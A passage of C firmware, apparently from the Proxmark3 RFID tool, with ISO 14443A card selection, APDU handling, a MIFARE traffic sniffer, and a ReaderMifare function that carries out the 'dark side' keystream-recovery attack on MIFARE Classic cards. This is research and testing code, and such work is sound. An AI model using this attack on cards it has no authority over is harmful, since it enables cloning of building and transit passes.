#define WUPA_RETRY_TIMEOUT      10      // 10ms
        uint8_t wupa[]       = { 0x52 };  // 0x26 - REQA  0x52 - WAKE-UP

        uint32_t save_iso14a_timeout = iso14a_get_timeout();
        iso14a_set_timeout(1236/(16*8)+1);              // response to WUPA is expected at exactly 1236/fc. No need to wait longer.
        
        uint32_t start_time = GetTickCount();
        int len;
        
        // we may need several tries if we did send an unknown command or a wrong authentication before...
        do {
                // Broadcast for a card, WUPA (0x52) will force response from all cards in the field
                ReaderTransmitBitsPar(wupa, 7, NULL, NULL);
                // Receive the ATQA
                len = ReaderReceive(resp, resp_par);
        } while (len == 0 && GetTickCount() <= start_time + WUPA_RETRY_TIMEOUT);
                        
        iso14a_set_timeout(save_iso14a_timeout);
        return len;
}


// performs iso14443a anticollision (optional) and card select procedure
// fills the uid and cuid pointer unless NULL
// fills the card info record unless NULL
// if anticollision is false, then the UID must be provided in uid_ptr[] 
// and num_cascades must be set (1: 4 Byte UID, 2: 7 Byte UID, 3: 10 Byte UID)
// requests ATS unless no_rats is true
int iso14443a_select_card(byte_t *uid_ptr, iso14a_card_select_t *p_hi14a_card, uint32_t *cuid_ptr, bool anticollision, uint8_t num_cascades, bool no_rats) {
        uint8_t sel_all[]    = { 0x93,0x20 };
        uint8_t sel_uid[]    = { 0x93,0x70,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
        uint8_t rats[]       = { 0xE0,0x80,0x00,0x00 }; // FSD=256, FSDI=8, CID=0
        uint8_t resp[MAX_FRAME_SIZE]; // theoretically. A usual RATS will be much smaller
        uint8_t resp_par[MAX_PARITY_SIZE];
        byte_t uid_resp[4];
        size_t uid_resp_len;

        uint8_t sak = 0x04; // cascade uid
        int cascade_level = 0;
        int len;

        // init card struct
        if(p_hi14a_card) {
                p_hi14a_card->uidlen = 0;
                memset(p_hi14a_card->uid, 0, 10);
                p_hi14a_card->ats_len = 0;
        }

        if (!GetATQA(resp, resp_par)) {
                return 0;
        }

        if(p_hi14a_card) {
                memcpy(p_hi14a_card->atqa, resp, 2);
        }

        if (anticollision) {
                // clear uid
                if (uid_ptr) {
                        memset(uid_ptr,0,10);
                }
        }

        // check for proprietary anticollision:
        if ((resp[0] & 0x1F) == 0) {
                return 3;
        }
        
        // OK we will select at least at cascade 1, lets see if first byte of UID was 0x88 in
        // which case we need to make a cascade 2 request and select - this is a long UID
        // While the UID is not complete, the 3nd bit (from the right) is set in the SAK.
        for(; sak & 0x04; cascade_level++) {
                // SELECT_* (L1: 0x93, L2: 0x95, L3: 0x97)
                sel_uid[0] = sel_all[0] = 0x93 + cascade_level * 2;

                if (anticollision) {
                        // SELECT_ALL
                        ReaderTransmit(sel_all, sizeof(sel_all), NULL);
                        if (!ReaderReceive(resp, resp_par)) {
                                return 0;
                        }

                        if (Demod.collisionPos) {                       // we had a collision and need to construct the UID bit by bit
                                memset(uid_resp, 0, 4);
                                uint16_t uid_resp_bits = 0;
                                uint16_t collision_answer_offset = 0;
                                // anti-collision-loop:
                                while (Demod.collisionPos) {
                                        Dbprintf("Multiple tags detected. Collision after Bit %d", Demod.collisionPos);
                                        for (uint16_t i = collision_answer_offset; i < Demod.collisionPos; i++, uid_resp_bits++) {      // add valid UID bits before collision point
                                                uint16_t UIDbit = (resp[i/8] >> (i % 8)) & 0x01;
                                                uid_resp[uid_resp_bits / 8] |= UIDbit << (uid_resp_bits % 8);
                                        }
                                        uid_resp[uid_resp_bits/8] |= 1 << (uid_resp_bits % 8);                                  // next time select the card(s) with a 1 in the collision position
                                        uid_resp_bits++;
                                        // construct anticollosion command:
                                        sel_uid[1] = ((2 + uid_resp_bits/8) << 4) | (uid_resp_bits & 0x07);     // length of data in bytes and bits
                                        for (uint16_t i = 0; i <= uid_resp_bits/8; i++) {
                                                sel_uid[2+i] = uid_resp[i];
                                        }
                                        collision_answer_offset = uid_resp_bits%8;
                                        ReaderTransmitBits(sel_uid, 16 + uid_resp_bits, NULL);
                                        if (!ReaderReceiveOffset(resp, collision_answer_offset, resp_par)) {
                                                return 0;
                                        }
                                }
                                // finally, add the last bits and BCC of the UID
                                for (uint16_t i = collision_answer_offset; i < (Demod.len-1)*8; i++, uid_resp_bits++) {
                                        uint16_t UIDbit = (resp[i/8] >> (i%8)) & 0x01;
                                        uid_resp[uid_resp_bits/8] |= UIDbit << (uid_resp_bits % 8);
                                }

                        } else {                // no collision, use the response to SELECT_ALL as current uid
                                memcpy(uid_resp, resp, 4);
                        }
                } else {
                        if (cascade_level < num_cascades - 1) {
                                uid_resp[0] = 0x88;
                                memcpy(uid_resp+1, uid_ptr+cascade_level*3, 3);
                        } else {
                                memcpy(uid_resp, uid_ptr+cascade_level*3, 4);
                        }
                }
                uid_resp_len = 4;

                // calculate crypto UID. Always use last 4 Bytes.
                if(cuid_ptr) {
                        *cuid_ptr = bytes_to_num(uid_resp, 4);
                }

                // Construct SELECT UID command
                sel_uid[1] = 0x70;                                                                                                      // transmitting a full UID (1 Byte cmd, 1 Byte NVB, 4 Byte UID, 1 Byte BCC, 2 Bytes CRC)
                memcpy(sel_uid+2, uid_resp, 4);                                                                         // the UID received during anticollision, or the provided UID
                sel_uid[6] = sel_uid[2] ^ sel_uid[3] ^ sel_uid[4] ^ sel_uid[5];         // calculate and add BCC
                AppendCrc14443a(sel_uid, 7);                                                                            // calculate and add CRC
                ReaderTransmit(sel_uid, sizeof(sel_uid), NULL);

                // Receive the SAK
                if (!ReaderReceive(resp, resp_par)) {
                        return 0;
                }
                sak = resp[0];
        
                // Test if more parts of the uid are coming
                if ((sak & 0x04) /* && uid_resp[0] == 0x88 */) {
                        // Remove first byte, 0x88 is not an UID byte, it CT, see page 3 of:
                        // http://www.nxp.com/documents/application_note/AN10927.pdf
                        uid_resp[0] = uid_resp[1];
                        uid_resp[1] = uid_resp[2];
                        uid_resp[2] = uid_resp[3]; 
                        uid_resp_len = 3;
                }

                if(uid_ptr && anticollision) {
                        memcpy(uid_ptr + (cascade_level*3), uid_resp, uid_resp_len);
                }

                if(p_hi14a_card) {
                        memcpy(p_hi14a_card->uid + (cascade_level*3), uid_resp, uid_resp_len);
                        p_hi14a_card->uidlen += uid_resp_len;
                }
        }

        if(p_hi14a_card) {
                p_hi14a_card->sak = sak;
        }

        // PICC compilant with iso14443a-4 ---> (SAK & 0x20 != 0)
        if( (sak & 0x20) == 0) return 2; 

        if (!no_rats) {
                // Request for answer to select
                AppendCrc14443a(rats, 2);
                ReaderTransmit(rats, sizeof(rats), NULL);

                if (!(len = ReaderReceive(resp, resp_par))) {
                        return 0;
                }

                if(p_hi14a_card) {
                        memcpy(p_hi14a_card->ats, resp, len);
                        p_hi14a_card->ats_len = len;
                }

                // reset the PCB block number
                iso14_pcb_blocknum = 0;

                // set default timeout and delay next transfer based on ATS
                iso14a_set_ATS_times(resp);
                
        }
        return 1;       
}


void iso14443a_setup(uint8_t fpga_minor_mode) {
        FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
        // Set up the synchronous serial port
        FpgaSetupSsc(FPGA_MAJOR_MODE_HF_ISO14443A);
        // connect Demodulated Signal to ADC:
        SetAdcMuxFor(GPIO_MUXSEL_HIPKD);

        // Signal field is on with the appropriate LED
        if (fpga_minor_mode == FPGA_HF_ISO14443A_READER_MOD
                || fpga_minor_mode == FPGA_HF_ISO14443A_READER_LISTEN) {
                LED_D_ON();
        } else {
                LED_D_OFF();
        }
        FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | fpga_minor_mode);

        // Start the timer
        StartCountSspClk();
        
        DemodReset();
        UartReset();
        NextTransferTime = 2*DELAY_ARM2AIR_AS_READER;
        iso14a_set_timeout(1060); // 10ms default
}

/* Peter Fillmore 2015
Added card id field to the function
 info from ISO14443A standard
b1 = Block Number
b2 = RFU (always 1)
b3 = depends on block
b4 = Card ID following if set to 1
b5 = depends on block type
b6 = depends on block type
b7,b8 = block type.
Coding of I-BLOCK:
b8 b7 b6 b5 b4 b3 b2 b1
0  0  0  x  x  x  1  x
b5 = chaining bit
Coding of R-block:
b8 b7 b6 b5 b4 b3 b2 b1
1  0  1  x  x  0  1  x
b5 = ACK/NACK
Coding of S-block:
b8 b7 b6 b5 b4 b3 b2 b1
1  1  x  x  x  0  1  0 
b5,b6 = 00 - DESELECT
        11 - WTX 
*/    
int iso14_apdu(uint8_t *cmd, uint16_t cmd_len, void *data, uint8_t *res) {
        uint8_t parity[MAX_PARITY_SIZE];
        uint8_t real_cmd[cmd_len + 4];
        
        if (cmd_len) {
                // ISO 14443 APDU frame: PCB [CID] [NAD] APDU CRC PCB=0x02
                real_cmd[0] = 0x02; // bnr,nad,cid,chn=0; i-block(0x00) 
                // put block number into the PCB
                real_cmd[0] |= iso14_pcb_blocknum;
                memcpy(real_cmd + 1, cmd, cmd_len);
        } else {
                // R-block. ACK
                real_cmd[0] = 0xA2; // r-block + ACK    
                real_cmd[0] |= iso14_pcb_blocknum;
        }
        AppendCrc14443a(real_cmd, cmd_len + 1);
 
        ReaderTransmit(real_cmd, cmd_len + 3, NULL);

        size_t len = ReaderReceive(data, parity);
        uint8_t *data_bytes = (uint8_t *) data;

        if (!len) {
                return 0; //DATA LINK ERROR
        } else{
                // S-Block WTX 
                while(len && ((data_bytes[0] & 0xF2) == 0xF2)) {
                        uint32_t save_iso14a_timeout = iso14a_get_timeout();
                        // temporarily increase timeout
                        iso14a_set_timeout(MAX((data_bytes[1] & 0x3f) * save_iso14a_timeout, MAX_ISO14A_TIMEOUT));
                        // Transmit WTX back 
                        // byte1 - WTXM [1..59]. command FWT=FWT*WTXM
                        data_bytes[1] = data_bytes[1] & 0x3f; // 2 high bits mandatory set to 0b
                        // now need to fix CRC.
                        AppendCrc14443a(data_bytes, len - 2);
                        // transmit S-Block
                        ReaderTransmit(data_bytes, len, NULL);
                        // retrieve the result again (with increased timeout) 
                        len = ReaderReceive(data, parity);
                        data_bytes = data;
                        // restore timeout
                        iso14a_set_timeout(save_iso14a_timeout);
                }

                // if we received an I- or R(ACK)-Block with a block number equal to the
                // current block number, toggle the current block number
                if (len >= 3 // PCB+CRC = 3 bytes
                 && ((data_bytes[0] & 0xC0) == 0 // I-Block
                     || (data_bytes[0] & 0xD0) == 0x80) // R-Block with ACK bit set to 0
                 && (data_bytes[0] & 0x01) == iso14_pcb_blocknum) // equal block numbers
                {
                        iso14_pcb_blocknum ^= 1;
                }
                
                // if we received I-block with chaining we need to send ACK and receive another block of data
                if (res)
                        *res = data_bytes[0];

                // crc check
                if (len >= 3 && !CheckCrc14443(CRC_14443_A, data_bytes, len)) {
                        return -1;
                }
                
        }
        
        if (len) {
                // cut frame byte
                len -= 1;
                // memmove(data_bytes, data_bytes + 1, len);
                for (int i = 0; i < len; i++)
                        data_bytes[i] = data_bytes[i + 1];
        }
                
        return len;
}


//-----------------------------------------------------------------------------
// Read an ISO 14443a tag. Send out commands and store answers.
//
//-----------------------------------------------------------------------------
void ReaderIso14443a(UsbCommand *c)
{
        iso14a_command_t param = c->arg[0];
        uint8_t *cmd = c->d.asBytes;
        size_t len = c->arg[1] & 0xffff;
        size_t lenbits = c->arg[1] >> 16;
        uint32_t timeout = c->arg[2];
        uint32_t arg0 = 0;
        byte_t buf[USB_CMD_DATA_SIZE] = {0};
        uint8_t par[MAX_PARITY_SIZE];
        bool cantSELECT = false;
  
        set_tracing(true);
        
        if(param & ISO14A_CLEAR_TRACE) {
                clear_trace();
        }

        if(param & ISO14A_REQUEST_TRIGGER) {
                iso14a_set_trigger(true);
        }

        if(param & ISO14A_CONNECT) {
                LED_A_ON();
                iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN);
                if(!(param & ISO14A_NO_SELECT)) {
                        iso14a_card_select_t *card = (iso14a_card_select_t*)buf;
                        arg0 = iso14443a_select_card(NULL, card, NULL, true, 0, param & ISO14A_NO_RATS);

                        // if we cant select then we cant send data
                        if (arg0 != 1 && arg0 != 2) {
                                // 1 - all is OK with ATS, 2 - without ATS
                                cantSELECT = true;
                        }
                        FpgaDisableTracing();
                        LED_B_ON();
                        cmd_send(CMD_ACK,arg0,card->uidlen,0,buf,sizeof(iso14a_card_select_t));
                        LED_B_OFF();
                }
        }

        if(param & ISO14A_SET_TIMEOUT) {
                iso14a_set_timeout(timeout);
        }

        if(param & ISO14A_APDU && !cantSELECT) {
                uint8_t res;
                arg0 = iso14_apdu(cmd, len, buf, &res);
                FpgaDisableTracing();
                LED_B_ON();
                cmd_send(CMD_ACK, arg0, res, 0, buf, sizeof(buf));
                LED_B_OFF();
        }

        if(param & ISO14A_RAW && !cantSELECT) {
                if(param & ISO14A_APPEND_CRC) {
                        if(param & ISO14A_TOPAZMODE) {
                                AppendCrc14443b(cmd,len);
                        } else {
                                AppendCrc14443a(cmd,len);
                        }
                        len += 2;
                        if (lenbits) lenbits += 16;
                }
                if(lenbits>0) {                         // want to send a specific number of bits (e.g. short commands)
                        if(param & ISO14A_TOPAZMODE) {
                                int bits_to_send = lenbits;
                                uint16_t i = 0;
                                ReaderTransmitBitsPar(&cmd[i++], MIN(bits_to_send, 7), NULL, NULL);             // first byte is always short (7bits) and no parity
                                bits_to_send -= 7;
                                while (bits_to_send > 0) {
                                        ReaderTransmitBitsPar(&cmd[i++], MIN(bits_to_send, 8), NULL, NULL);     // following bytes are 8 bit and no parity
                                        bits_to_send -= 8;
                                }
                        } else {
                                GetParity(cmd, lenbits/8, par);
                                ReaderTransmitBitsPar(cmd, lenbits, par, NULL);                                                 // bytes are 8 bit with odd parity
                        }
                } else {                                        // want to send complete bytes only
                        if(param & ISO14A_TOPAZMODE) {
                                uint16_t i = 0;
                                ReaderTransmitBitsPar(&cmd[i++], 7, NULL, NULL);                                                // first byte: 7 bits, no paritiy
                                while (i < len) {
                                        ReaderTransmitBitsPar(&cmd[i++], 8, NULL, NULL);                                        // following bytes: 8 bits, no paritiy
                                }
                        } else {
                                ReaderTransmit(cmd,len, NULL);                                                                                  // 8 bits, odd parity
                        }
                }
                arg0 = ReaderReceive(buf, par);
                FpgaDisableTracing();

                LED_B_ON();
                cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(buf));
                LED_B_OFF();
        }

        if(param & ISO14A_REQUEST_TRIGGER) {
                iso14a_set_trigger(false);
        }

        if(param & ISO14A_NO_DISCONNECT) {
                return;
        }

        FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
        LEDsoff();
}


// Determine the distance between two nonces.
// Assume that the difference is small, but we don't know which is first.
// Therefore try in alternating directions.
static int32_t dist_nt(uint32_t nt1, uint32_t nt2) {

        uint16_t i;
        uint32_t nttmp1, nttmp2;

        if (nt1 == nt2) return 0;

        nttmp1 = nt1;
        nttmp2 = nt2;
        
        for (i = 1; i < 32768; i++) {
                nttmp1 = prng_successor(nttmp1, 1);
                if (nttmp1 == nt2) return i;
                nttmp2 = prng_successor(nttmp2, 1);
                if (nttmp2 == nt1) return -i;
                }
        
        return(-99999); // either nt1 or nt2 are invalid nonces
}


//-----------------------------------------------------------------------------
// Recover several bits of the cypher stream. This implements (first stages of)
// the algorithm described in "The Dark Side of Security by Obscurity and
// Cloning MiFare Classic Rail and Building Passes, Anywhere, Anytime"
// (article by Nicolas T. Courtois, 2009)
//-----------------------------------------------------------------------------
void ReaderMifare(bool first_try)
{
        // Mifare AUTH
        uint8_t mf_auth[]    = { 0x60,0x00,0xf5,0x7b };
        uint8_t mf_nr_ar[]   = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
        static uint8_t mf_nr_ar3;

        uint8_t receivedAnswer[MAX_MIFARE_FRAME_SIZE];
        uint8_t receivedAnswerPar[MAX_MIFARE_PARITY_SIZE];

        iso14443a_setup(FPGA_HF_ISO14443A_READER_MOD);
        
        // free eventually allocated BigBuf memory. We want all for tracing.
        BigBuf_free();
        
        clear_trace();
        set_tracing(true);

        uint8_t nt_diff = 0;
        uint8_t par[1] = {0};   // maximum 8 Bytes to be sent here, 1 byte parity is therefore enough
        static uint8_t par_low = 0;
        bool led_on = true;
        uint8_t uid[10]  ={0};
        uint32_t cuid;

        uint32_t nt = 0;
        uint32_t previous_nt = 0;
        static uint32_t nt_attacked = 0;
        uint8_t par_list[8] = {0x00};
        uint8_t ks_list[8] = {0x00};

        #define PRNG_SEQUENCE_LENGTH  (1 << 16);
        uint32_t sync_time = GetCountSspClk() & 0xfffffff8;
        static int32_t sync_cycles;
        int catch_up_cycles = 0;
        int last_catch_up = 0;
        uint16_t elapsed_prng_sequences;
        uint16_t consecutive_resyncs = 0;
        int isOK = 0;

        if (first_try) { 
                mf_nr_ar3 = 0;
                par[0] = par_low = 0;
                sync_cycles = PRNG_SEQUENCE_LENGTH;                                                     // theory: Mifare Classic's random generator repeats every 2^16 cycles (and so do the tag nonces).
                nt_attacked = 0;
        }
        else {
                // we were unsuccessful on a previous call. Try another READER nonce (first 3 parity bits remain the same)
                mf_nr_ar3++;
                mf_nr_ar[3] = mf_nr_ar3;
                par[0] = par_low;
        }

        LED_A_ON();
        LED_B_OFF();
        LED_C_OFF();
        

        #define MAX_UNEXPECTED_RANDOM   4               // maximum number of unexpected (i.e. real) random numbers when trying to sync. Then give up.
        #define MAX_SYNC_TRIES                  32
        #define SYNC_TIME_BUFFER                16              // if there is only SYNC_TIME_BUFFER left before next planned sync, wait for next PRNG cycle
        #define NUM_DEBUG_INFOS                 8               // per strategy
        #define MAX_STRATEGY                    3
        uint16_t unexpected_random = 0;
        uint16_t sync_tries = 0;
        int16_t debug_info_nr = -1;
        uint16_t strategy = 0;
        int32_t debug_info[MAX_STRATEGY][NUM_DEBUG_INFOS];
        uint32_t select_time;
        uint32_t halt_time;
        
        for(uint16_t i = 0; true; i++) {
                
                LED_C_ON();
                WDT_HIT();

                // Test if the action was cancelled
                if(BUTTON_PRESS()) {
                        isOK = -1;
                        break;
                }
                
                if (strategy == 2) {
                        // test with additional hlt command
                        halt_time = 0;
                        int len = mifare_sendcmd_short(NULL, false, 0x50, 0x00, receivedAnswer, receivedAnswerPar, &halt_time);
                        if (len && MF_DBGLEVEL >= 3) {
                                Dbprintf("Unexpected response of %d bytes to hlt command (additional debugging).", len);
                        }
                }

                if (strategy == 3) {
                        // test with FPGA power off/on
                        FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
                        SpinDelay(200);
                        iso14443a_setup(FPGA_HF_ISO14443A_READER_MOD);
                        SpinDelay(100);
                }
                
                if(!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) {
                        if (MF_DBGLEVEL >= 1)   Dbprintf("Mifare: Can't select card");
                        continue;
                }
                select_time = GetCountSspClk();

                elapsed_prng_sequences = 1;
                if (debug_info_nr == -1) {
                        sync_time = (sync_time & 0xfffffff8) + sync_cycles + catch_up_cycles;
                        catch_up_cycles = 0;

                        // if we missed the sync time already or are about to miss it, advance to the next nonce repeat
                        while(sync_time < GetCountSspClk() + SYNC_TIME_BUFFER) {
                                elapsed_prng_sequences++;
                                sync_time = (sync_time & 0xfffffff8) + sync_cycles;
                        }

                        // Transmit MIFARE_CLASSIC_AUTH at synctime. Should result in returning the same tag nonce (== nt_attacked) 
                        ReaderTransmit(mf_auth, sizeof(mf_auth), &sync_time);
                } else {
                        // collect some information on tag nonces for debugging:
                        #define DEBUG_FIXED_SYNC_CYCLES PRNG_SEQUENCE_LENGTH
                        if (strategy == 0) {
                                // nonce distances at fixed time after card select:
                                sync_time = select_time + DEBUG_FIXED_SYNC_CYCLES;
                        } else if (strategy == 1) {
                                // nonce distances at fixed time between authentications:
                                sync_time = sync_time + DEBUG_FIXED_SYNC_CYCLES;
                        } else if (strategy == 2) {
                                // nonce distances at fixed time after halt:
                                sync_time = halt_time + DEBUG_FIXED_SYNC_CYCLES;
                        } else {
                                // nonce_distances at fixed time after power on
                                sync_time = DEBUG_FIXED_SYNC_CYCLES;
                        }
                        ReaderTransmit(mf_auth, sizeof(mf_auth), &sync_time);
                }                       

                // Receive the (4 Byte) "random" nonce
                if (!ReaderReceive(receivedAnswer, receivedAnswerPar)) {
                        if (MF_DBGLEVEL >= 1)   Dbprintf("Mifare: Couldn't receive tag nonce");
                        continue;
                  }

                previous_nt = nt;
                nt = bytes_to_num(receivedAnswer, 4);

                // Transmit reader nonce with fake par
                ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar), par, NULL);

                if (first_try && previous_nt && !nt_attacked) { // we didn't calibrate our clock yet
                        int nt_distance = dist_nt(previous_nt, nt);
                        if (nt_distance == 0) {
                                nt_attacked = nt;
                        } else {
                                if (nt_distance == -99999) { // invalid nonce received
                                        unexpected_random++;
                                        if (unexpected_random > MAX_UNEXPECTED_RANDOM) {
                                                isOK = -3;              // Card has an unpredictable PRNG. Give up      
                                                break;
                                        } else {
                                                continue;               // continue trying...
                                        }
                                }
                                if (++sync_tries > MAX_SYNC_TRIES) {
                                        if (strategy > MAX_STRATEGY || MF_DBGLEVEL < 3) {
                                                isOK = -4;                      // Card's PRNG runs at an unexpected frequency or resets unexpectedly
                                                break;
                                        } else {                                // continue for a while, just to collect some debug info
                                                debug_info[strategy][debug_info_nr] = nt_distance;
                                                debug_info_nr++;
                                                if (debug_info_nr == NUM_DEBUG_INFOS) {
                                                        strategy++;
                                                        debug_info_nr = 0;
                                                }
                                                continue;
                                        }
                                }
                                sync_cycles = (sync_cycles - nt_distance/elapsed_prng_sequences);
                                if (sync_cycles <= 0) {
                                        sync_cycles += PRNG_SEQUENCE_LENGTH;
                                }
                                if (MF_DBGLEVEL >= 3) {
                                        Dbprintf("calibrating in cycle %d. nt_distance=%d, elapsed_prng_sequences=%d, new sync_cycles: %d\n", i, nt_distance, elapsed_prng_sequences, sync_cycles);
                                }
                                continue;
                        }
                }

                if ((nt != nt_attacked) && nt_attacked) {       // we somehow lost sync. Try to catch up again...
                        catch_up_cycles = -dist_nt(nt_attacked, nt);
                        if (catch_up_cycles == 99999) {                 // invalid nonce received. Don't resync on that one.
                                catch_up_cycles = 0;
                                continue;
                        }
                        catch_up_cycles /= elapsed_prng_sequences;
                        if (catch_up_cycles == last_catch_up) {
                                consecutive_resyncs++;
                        }
                        else {
                                last_catch_up = catch_up_cycles;
                            consecutive_resyncs = 0;
                        }
                        if (consecutive_resyncs < 3) {
                                if (MF_DBGLEVEL >= 3) Dbprintf("Lost sync in cycle %d. nt_distance=%d. Consecutive Resyncs = %d. Trying one time catch up...\n", i, -catch_up_cycles, consecutive_resyncs);
                        }
                        else {  
                                sync_cycles = sync_cycles + catch_up_cycles;
                                if (MF_DBGLEVEL >= 3) Dbprintf("Lost sync in cycle %d for the fourth time consecutively (nt_distance = %d). Adjusting sync_cycles to %d.\n", i, -catch_up_cycles, sync_cycles);
                                last_catch_up = 0;
                                catch_up_cycles = 0;
                                consecutive_resyncs = 0;
                        }
                        continue;
                }
 
                consecutive_resyncs = 0;
                
                // Receive answer. This will be a 4 Bit NACK when the 8 parity bits are OK after decoding
                if (ReaderReceive(receivedAnswer, receivedAnswerPar)) {
                        catch_up_cycles = 8;    // the PRNG is delayed by 8 cycles due to the NAC (4Bits = 0x05 encrypted) transfer
        
                        if (nt_diff == 0) {
                                par_low = par[0] & 0xE0; // there is no need to check all parities for other nt_diff. Parity Bits for mf_nr_ar[0..2] won't change
                        }

                        led_on = !led_on;
                        if(led_on) LED_B_ON(); else LED_B_OFF();

                        par_list[nt_diff] = SwapBits(par[0], 8);
                        ks_list[nt_diff] = receivedAnswer[0] ^ 0x05;

                        // Test if the information is complete
                        if (nt_diff == 0x07) {
                                isOK = 1;
                                break;
                        }

                        nt_diff = (nt_diff + 1) & 0x07;
                        mf_nr_ar[3] = (mf_nr_ar[3] & 0x1F) | (nt_diff << 5);
                        par[0] = par_low;
                } else {
                        if (nt_diff == 0 && first_try)
                        {
                                par[0]++;
                                if (par[0] == 0x00) {           // tried all 256 possible parities without success. Card doesn't send NACK.
                                        isOK = -2;
                                        break;
                                }
                        } else {
                                par[0] = ((par[0] & 0x1F) + 1) | par_low;
                        }
                }
        }


        mf_nr_ar[3] &= 0x1F;

        if (isOK == -4) {
                if (MF_DBGLEVEL >= 3) {
                        for (uint16_t i = 0; i <= MAX_STRATEGY; i++) {
                                for(uint16_t j = 0; j < NUM_DEBUG_INFOS; j++) {
                                        Dbprintf("collected debug info[%d][%d] = %d", i, j, debug_info[i][j]);
                                }
                        }
                }
        }
        
        FpgaDisableTracing();

        uint8_t buf[32];
        memcpy(buf + 0,  uid, 4);
        num_to_bytes(nt, 4, buf + 4);
        memcpy(buf + 8,  par_list, 8);
        memcpy(buf + 16, ks_list, 8);
        memcpy(buf + 24, mf_nr_ar, 8);
                
        cmd_send(CMD_ACK, isOK, 0, 0, buf, 32);

        // Thats it...
        FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
        LEDsoff();

        set_tracing(false);
}


//-----------------------------------------------------------------------------
// MIFARE sniffer. 
// 
//-----------------------------------------------------------------------------
void RAMFUNC SniffMifare(uint8_t param) {
        // param:
        // bit 0 - trigger from first card answer
        // bit 1 - trigger from first reader 7-bit request

        // C(red) A(yellow) B(green)
        LEDsoff();
        // init trace buffer
        clear_trace();
        set_tracing(true);

        // The command (reader -> tag) that we're receiving.
        // The length of a received command will in most cases be no more than 18 bytes.
        // So 32 should be enough!
        uint8_t receivedCmd[MAX_MIFARE_FRAME_SIZE];
        uint8_t receivedCmdPar[MAX_MIFARE_PARITY_SIZE];
        // The response (tag -> reader) that we're receiving.
        uint8_t receivedResponse[MAX_MIFARE_FRAME_SIZE];
        uint8_t receivedResponsePar[MAX_MIFARE_PARITY_SIZE];

        iso14443a_setup(FPGA_HF_ISO14443A_SNIFFER);

        // free eventually allocated BigBuf memory
        BigBuf_free();
        // allocate the DMA buffer, used to stream samples from the FPGA
        uint8_t *dmaBuf = BigBuf_malloc(DMA_BUFFER_SIZE);
        uint8_t *data = dmaBuf;
        uint8_t previous_data = 0;
        int maxDataLen = 0;
        int dataLen = 0;
        bool ReaderIsActive = false;
        bool TagIsActive = false;

        // Set up the demodulator for tag -> reader responses.
        DemodInit(receivedResponse, receivedResponsePar);

        // Set up the demodulator for the reader -> tag commands
        UartInit(receivedCmd, receivedCmdPar);

        // Setup for the DMA.
        FpgaSetupSscDma((uint8_t *)dmaBuf, DMA_BUFFER_SIZE); // set transfer address and number of bytes. Start transfer.

        LED_D_OFF();
        
        // init sniffer
        MfSniffInit();

        // And now we loop, receiving samples.
        for(uint32_t sniffCounter = 0; true; ) {
        
                if(BUTTON_PRESS()) {
                        DbpString("Canceled by button.");
                        break;
                }

                LED_A_ON();
                WDT_HIT();
                
                if ((sniffCounter & 0x0000FFFF) == 0) { // from time to time
                        // check if a transaction is completed (timeout after 2000ms).
                        // if yes, stop the DMA transfer and send what we have so far to the client
                        if (MfSniffSend(2000)) {                        
                                // Reset everything - we missed some sniffed data anyway while the DMA was stopped
                                sniffCounter = 0;
                                data = dmaBuf;
                                maxDataLen = 0;
                                ReaderIsActive = false;
                                TagIsActive = false;
                                FpgaSetupSscDma((uint8_t *)dmaBuf, DMA_BUFFER_SIZE); // set transfer address and number of bytes. Start transfer.
                        }
                }
                
                int register readBufDataP = data - dmaBuf;      // number of bytes we have processed so far
                int register dmaBufDataP = DMA_BUFFER_SIZE - AT91C_BASE_PDC_SSC->PDC_RCR; // number of bytes already transferred
                if (readBufDataP <= dmaBufDataP){                       // we are processing the same block of data which is currently being transferred
                        dataLen = dmaBufDataP - readBufDataP;   // number of bytes still to be processed
                } else {                                                                        
                        dataLen = DMA_BUFFER_SIZE - readBufDataP + dmaBufDataP; // number of bytes still to be processed
                }
                // test for length of buffer
                if(dataLen > maxDataLen) {                                      // we are more behind than ever...
                        maxDataLen = dataLen;                                   
                        if(dataLen > (9 * DMA_BUFFER_SIZE / 10)) {
                                Dbprintf("blew circular buffer! dataLen=0x%x", dataLen);
                                break;
                        }
                }
                if(dataLen < 1) continue;

                // primary buffer was stopped ( <-- we lost data!
                if (!AT91C_BASE_PDC_SSC->PDC_RCR) {
                        AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t) dmaBuf;
                        AT91C_BASE_PDC_SSC->PDC_RCR = DMA_BUFFER_SIZE;
                        Dbprintf("RxEmpty ERROR!!! data length:%d", dataLen); // temporary
                }
                // secondary buffer sets as primary, secondary buffer was stopped
                if (!AT91C_BASE_PDC_SSC->PDC_RNCR) {
                        AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t) dmaBuf;
                        AT91C_BASE_PDC_SSC->PDC_RNCR = DMA_BUFFER_SIZE;
                }

                LED_A_OFF();
                
                if (sniffCounter & 0x01) {

                        if(!TagIsActive) {              // no need to try decoding tag data if the reader is sending
                                uint8_t readerdata = (previous_data & 0xF0) | (*data >> 4);
                                if(MillerDecoding(readerdata, (sniffCounter-1)*4)) {
                                        LED_B_ON();
                                        LED_C_OFF();

                                        if (MfSniffLogic(receivedCmd, Uart.len, Uart.parity, Uart.bitCount, true)) break;

                                        /* And ready to receive another command. */
                                        UartInit(receivedCmd, receivedCmdPar);
                                        
                                        /* And also reset the demod code */
                                        DemodReset();
                                }
                                ReaderIsActive = (Uart.state != STATE_UNSYNCD);
                        }
                        
                        if(!ReaderIsActive) {           // no need to try decoding tag data if the reader is sending
                                uint8_t tagdata = (previous_data << 4) | (*data & 0x0F);
                                if(ManchesterDecoding(tagdata, 0, (sniffCounter-1)*4)) {
                                        LED_B_OFF();
                                        LED_C_ON();

                                        if (MfSniffLogic(receivedResponse, Demod.len, Demod.parity, Demod.bitCount, false)) break;

                                        // And ready to receive another response.
                                        DemodReset();
                                        // And reset the Miller decoder including its (now outdated) input buffer
                                        UartInit(receivedCmd, receivedCmdPar);
                                }
                                TagIsActive = (Demod.state != DEMOD_UNSYNCD);
                        }
                }

                previous_data = *data;
